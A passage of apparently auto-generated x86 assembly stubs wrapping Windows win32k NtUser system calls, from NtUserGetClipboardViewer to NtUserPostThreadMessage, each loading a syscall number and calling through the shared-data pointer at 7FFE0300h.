7FFE0300h call dword ptr [edx] ret NtUserGetClipboardSequenceNumber ENDP ; ULONG __stdcall NtUserGetClipboardViewer( ); NtUserGetClipboardViewer PROC STDCALL mov eax , 4508 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetClipboardViewer ENDP ; ULONG __stdcall NtUserGetClipCursor( ULONG arg_01 ); NtUserGetClipCursor PROC STDCALL arg_01:DWORD mov eax , 4509 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetClipCursor ENDP ; ULONG __stdcall NtUserGetComboBoxInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetComboBoxInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4510 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetComboBoxInfo ENDP ; ULONG __stdcall NtUserGetControlBrush( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetControlBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4511 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetControlBrush ENDP ; ULONG __stdcall NtUserGetControlColor( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetControlColor PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4512 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetControlColor ENDP ; ULONG __stdcall NtUserGetCPD( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetCPD PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4513 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetCPD ENDP ; ULONG __stdcall NtUserGetCursorFrameInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetCursorFrameInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4514 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetCursorFrameInfo ENDP ; ULONG __stdcall NtUserGetCursorInfo( ULONG arg_01 ); NtUserGetCursorInfo PROC STDCALL arg_01:DWORD mov eax , 4515 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetCursorInfo ENDP ; ULONG __stdcall NtUserGetDC( ULONG arg_01 ); NtUserGetDC PROC STDCALL arg_01:DWORD mov eax , 4516 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetDC ENDP ; ULONG __stdcall NtUserGetDCEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetDCEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4517 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetDCEx ENDP ; ULONG __stdcall NtUserGetDoubleClickTime( ); NtUserGetDoubleClickTime PROC STDCALL mov eax , 4518 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetDoubleClickTime ENDP ; ULONG __stdcall NtUserGetForegroundWindow( ); NtUserGetForegroundWindow PROC STDCALL mov eax , 4519 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetForegroundWindow ENDP ; ULONG __stdcall NtUserGetGuiResources( ULONG arg_01 , ULONG arg_02 ); NtUserGetGuiResources PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4520 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetGuiResources ENDP ; ULONG __stdcall NtUserGetGUIThreadInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetGUIThreadInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4521 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetGUIThreadInfo ENDP ; ULONG __stdcall NtUserGetIconInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserGetIconInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4522 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserGetIconInfo ENDP ; ULONG __stdcall NtUserGetIconSize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetIconSize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4523 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetIconSize ENDP ; ULONG __stdcall NtUserGetImeHotKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetImeHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4524 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetImeHotKey ENDP ; ULONG __stdcall NtUserGetImeInfoEx( ULONG arg_01 , ULONG arg_02 ); NtUserGetImeInfoEx PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4525 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetImeInfoEx ENDP ; ULONG __stdcall NtUserGetInputLocaleInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetInputLocaleInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4526 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetInputLocaleInfo ENDP ; ULONG __stdcall NtUserGetInternalWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetInternalWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4527 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetInternalWindowPos ENDP ; ULONG __stdcall NtUserGetKeyboardLayoutList( ULONG arg_01 , ULONG arg_02 ); NtUserGetKeyboardLayoutList PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4528 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetKeyboardLayoutList ENDP ; ULONG __stdcall NtUserGetKeyboardLayoutName( ULONG arg_01 ); NtUserGetKeyboardLayoutName PROC STDCALL arg_01:DWORD mov eax , 4529 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetKeyboardLayoutName ENDP ; ULONG __stdcall NtUserGetKeyboardState( ULONG arg_01 ); NtUserGetKeyboardState PROC STDCALL arg_01:DWORD mov eax , 4530 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetKeyboardState ENDP ; ULONG __stdcall NtUserGetKeyNameText( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetKeyNameText PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4531 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetKeyNameText ENDP ; ULONG __stdcall NtUserGetKeyState( ULONG arg_01 ); NtUserGetKeyState PROC STDCALL arg_01:DWORD mov eax , 4532 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetKeyState ENDP ; ULONG __stdcall NtUserGetListBoxInfo( ULONG arg_01 ); NtUserGetListBoxInfo PROC STDCALL arg_01:DWORD mov eax , 4533 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetListBoxInfo ENDP ; ULONG __stdcall NtUserGetMenuBarInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetMenuBarInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4534 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetMenuBarInfo ENDP ; ULONG __stdcall NtUserGetMenuIndex( ULONG arg_01 , ULONG arg_02 ); NtUserGetMenuIndex PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4535 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetMenuIndex ENDP ; ULONG __stdcall NtUserGetMenuItemRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetMenuItemRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4536 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetMenuItemRect ENDP ; ULONG __stdcall NtUserGetMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4537 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetMessage ENDP ; ULONG __stdcall NtUserGetMouseMovePointsEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserGetMouseMovePointsEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4538 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserGetMouseMovePointsEx ENDP ; ULONG __stdcall NtUserGetObjectInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserGetObjectInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4539 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserGetObjectInformation ENDP ; ULONG __stdcall NtUserGetOpenClipboardWindow( ); NtUserGetOpenClipboardWindow PROC STDCALL mov eax , 4540 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetOpenClipboardWindow ENDP ; ULONG __stdcall NtUserGetPriorityClipboardFormat( ULONG arg_01 , ULONG arg_02 ); NtUserGetPriorityClipboardFormat PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4541 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetPriorityClipboardFormat ENDP ; ULONG __stdcall NtUserGetProcessWindowStation( ); NtUserGetProcessWindowStation PROC STDCALL mov eax , 4542 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserGetProcessWindowStation ENDP ; ULONG __stdcall NtUserGetRawInputBuffer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetRawInputBuffer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4543 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetRawInputBuffer ENDP ; ULONG __stdcall NtUserGetRawInputData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserGetRawInputData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4544 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserGetRawInputData ENDP ; ULONG __stdcall NtUserGetRawInputDeviceInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetRawInputDeviceInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4545 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetRawInputDeviceInfo ENDP ; ULONG __stdcall NtUserGetRawInputDeviceList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetRawInputDeviceList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4546 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetRawInputDeviceList ENDP ; ULONG __stdcall NtUserGetRegisteredRawInputDevices( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetRegisteredRawInputDevices PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4547 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetRegisteredRawInputDevices ENDP ; ULONG __stdcall NtUserGetScrollBarInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetScrollBarInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4548 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetScrollBarInfo ENDP ; ULONG __stdcall NtUserGetSystemMenu( ULONG arg_01 , ULONG arg_02 ); NtUserGetSystemMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4549 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetSystemMenu ENDP ; ULONG __stdcall NtUserGetThreadDesktop( ULONG arg_01 ); NtUserGetThreadDesktop PROC STDCALL arg_01:DWORD mov eax , 4550 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetThreadDesktop ENDP ; ULONG __stdcall NtUserGetThreadState( ULONG arg_01 ); NtUserGetThreadState PROC STDCALL arg_01:DWORD mov eax , 4551 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetThreadState ENDP ; ULONG __stdcall NtUserGetTitleBarInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetTitleBarInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4552 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetTitleBarInfo ENDP ; ULONG __stdcall NtUserGetTopLevelWindow( ULONG arg_01 ); NtUserGetTopLevelWindow PROC STDCALL arg_01:DWORD mov eax , 4553 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetTopLevelWindow ENDP ; ULONG __stdcall NtUserGetUpdatedClipboardFormats( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetUpdatedClipboardFormats PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4554 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetUpdatedClipboardFormats ENDP ; ULONG __stdcall NtUserGetUpdateRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetUpdateRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4555 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetUpdateRect ENDP ; ULONG __stdcall NtUserGetUpdateRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetUpdateRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4556 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetUpdateRgn ENDP ; ULONG __stdcall NtUserGetWindowCompositionInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetWindowCompositionInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4557 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWindowCompositionInfo ENDP ; ULONG __stdcall NtUserGetWindowCompositionAttribute( ULONG arg_01 , ULONG arg_02 ); NtUserGetWindowCompositionAttribute PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4558 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWindowCompositionAttribute ENDP ; ULONG __stdcall NtUserGetWindowDC( ULONG arg_01 ); NtUserGetWindowDC PROC STDCALL arg_01:DWORD mov eax , 4559 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGetWindowDC ENDP ; ULONG __stdcall NtUserGetWindowDisplayAffinity( ULONG arg_01 , ULONG arg_02 ); NtUserGetWindowDisplayAffinity PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4560 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWindowDisplayAffinity ENDP ; ULONG __stdcall NtUserGetWindowPlacement( ULONG arg_01 , ULONG arg_02 ); NtUserGetWindowPlacement PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4561 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWindowPlacement ENDP ; ULONG __stdcall NtUserGetWOWClass( ULONG arg_01 , ULONG arg_02 ); NtUserGetWOWClass PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4562 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWOWClass ENDP ; ULONG __stdcall NtUserGhostWindowFromHungWindow( ULONG arg_01 ); NtUserGhostWindowFromHungWindow PROC STDCALL arg_01:DWORD mov eax , 4563 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserGhostWindowFromHungWindow ENDP ; ULONG __stdcall NtUserHardErrorControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserHardErrorControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4564 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserHardErrorControl ENDP ; ULONG __stdcall NtUserHideCaret( ULONG arg_01 ); NtUserHideCaret PROC STDCALL arg_01:DWORD mov eax , 4565 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserHideCaret ENDP ; ULONG __stdcall NtUserHiliteMenuItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserHiliteMenuItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4566 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserHiliteMenuItem ENDP ; ULONG __stdcall NtUserHungWindowFromGhostWindow( ULONG arg_01 ); NtUserHungWindowFromGhostWindow PROC STDCALL arg_01:DWORD mov eax , 4567 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserHungWindowFromGhostWindow ENDP ; ULONG __stdcall NtUserImpersonateDdeClientWindow( ULONG arg_01 , ULONG arg_02 ); NtUserImpersonateDdeClientWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4568 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserImpersonateDdeClientWindow ENDP ; ULONG __stdcall NtUserInitialize( ULONG arg_01 , ULONG arg_02 ); NtUserInitialize PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4569 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserInitialize ENDP ; ULONG __stdcall NtUserInitializeClientPfnArrays( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserInitializeClientPfnArrays PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4570 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserInitializeClientPfnArrays ENDP ; ULONG __stdcall NtUserInitTask( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 ); NtUserInitTask PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD mov eax , 4571 mov edx , 7FFE0300h call dword ptr [edx] ret 48 NtUserInitTask ENDP ; ULONG __stdcall NtUserInternalGetWindowText( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserInternalGetWindowText PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4572 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserInternalGetWindowText ENDP ; ULONG __stdcall NtUserInternalGetWindowIcon( ULONG arg_01 , ULONG arg_02 ); NtUserInternalGetWindowIcon PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4573 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserInternalGetWindowIcon ENDP ; ULONG __stdcall NtUserInvalidateRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserInvalidateRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4574 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserInvalidateRect ENDP ; ULONG __stdcall NtUserInvalidateRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserInvalidateRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4575 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserInvalidateRgn ENDP ; ULONG __stdcall NtUserIsClipboardFormatAvailable( ULONG arg_01 ); NtUserIsClipboardFormatAvailable PROC STDCALL arg_01:DWORD mov eax , 4576 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserIsClipboardFormatAvailable ENDP ; ULONG __stdcall NtUserIsTopLevelWindow( ULONG arg_01 ); NtUserIsTopLevelWindow PROC STDCALL arg_01:DWORD mov eax , 4577 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserIsTopLevelWindow ENDP ; ULONG __stdcall NtUserKillTimer( ULONG arg_01 , ULONG arg_02 ); NtUserKillTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4578 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserKillTimer ENDP ; ULONG __stdcall NtUserLoadKeyboardLayoutEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtUserLoadKeyboardLayoutEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4579 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtUserLoadKeyboardLayoutEx ENDP ; ULONG __stdcall NtUserLockWindowStation( ULONG arg_01 ); NtUserLockWindowStation PROC STDCALL arg_01:DWORD mov eax , 4580 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserLockWindowStation ENDP ; ULONG __stdcall NtUserLockWindowUpdate( ULONG arg_01 ); NtUserLockWindowUpdate PROC STDCALL arg_01:DWORD mov eax , 4581 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserLockWindowUpdate ENDP ; ULONG __stdcall NtUserLockWorkStation( ); NtUserLockWorkStation PROC STDCALL mov eax , 4582 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserLockWorkStation ENDP ; ULONG __stdcall NtUserLogicalToPhysicalPoint( ULONG arg_01 , ULONG arg_02 ); NtUserLogicalToPhysicalPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4583 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserLogicalToPhysicalPoint ENDP ; ULONG __stdcall NtUserMapVirtualKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserMapVirtualKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4584 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserMapVirtualKeyEx ENDP ; ULONG __stdcall NtUserMenuItemFromPoint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserMenuItemFromPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4585 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserMenuItemFromPoint ENDP ; ULONG __stdcall NtUserMessageCall( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtUserMessageCall PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4586 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtUserMessageCall ENDP ; ULONG __stdcall NtUserMinMaximize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserMinMaximize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4587 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserMinMaximize ENDP ; ULONG __stdcall NtUserMNDragLeave( ); NtUserMNDragLeave PROC STDCALL mov eax , 4588 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserMNDragLeave ENDP ; ULONG __stdcall NtUserMNDragOver( ULONG arg_01 , ULONG arg_02 ); NtUserMNDragOver PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4589 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserMNDragOver ENDP ; ULONG __stdcall NtUserModifyUserStartupInfoFlags( ULONG arg_01 , ULONG arg_02 ); NtUserModifyUserStartupInfoFlags PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4590 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserModifyUserStartupInfoFlags ENDP ; ULONG __stdcall NtUserMoveWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserMoveWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4591 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserMoveWindow ENDP ; ULONG __stdcall NtUserNotifyIMEStatus( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserNotifyIMEStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4592 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserNotifyIMEStatus ENDP ; ULONG __stdcall NtUserNotifyProcessCreate( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserNotifyProcessCreate PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4593 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserNotifyProcessCreate ENDP ; ULONG __stdcall NtUserNotifyWinEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserNotifyWinEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4594 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserNotifyWinEvent ENDP ; ULONG __stdcall NtUserOpenClipboard( ULONG arg_01 , ULONG arg_02 ); NtUserOpenClipboard PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4595 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserOpenClipboard ENDP ; ULONG __stdcall NtUserOpenDesktop( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserOpenDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4596 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserOpenDesktop ENDP ; ULONG __stdcall NtUserOpenInputDesktop( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserOpenInputDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4597 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserOpenInputDesktop ENDP ; ULONG __stdcall NtUserOpenThreadDesktop( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserOpenThreadDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4598 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserOpenThreadDesktop ENDP ; ULONG __stdcall NtUserOpenWindowStation( ULONG arg_01 , ULONG arg_02 ); NtUserOpenWindowStation PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4599 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserOpenWindowStation ENDP ; ULONG __stdcall NtUserPaintDesktop( ULONG arg_01 ); NtUserPaintDesktop PROC STDCALL arg_01:DWORD mov eax , 4600 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserPaintDesktop ENDP ; ULONG __stdcall NtUserPaintMonitor( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserPaintMonitor PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4601 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserPaintMonitor ENDP ; ULONG __stdcall NtUserPeekMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserPeekMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4602 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserPeekMessage ENDP ; ULONG __stdcall NtUserPhysicalToLogicalPoint( ULONG arg_01 , ULONG arg_02 ); NtUserPhysicalToLogicalPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4603 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserPhysicalToLogicalPoint ENDP ; ULONG __stdcall NtUserPostMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserPostMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4604 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserPostMessage ENDP ; ULONG __stdcall NtUserPostThreadMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserPostThreadMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4605 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserPostThreadMessage ENDP 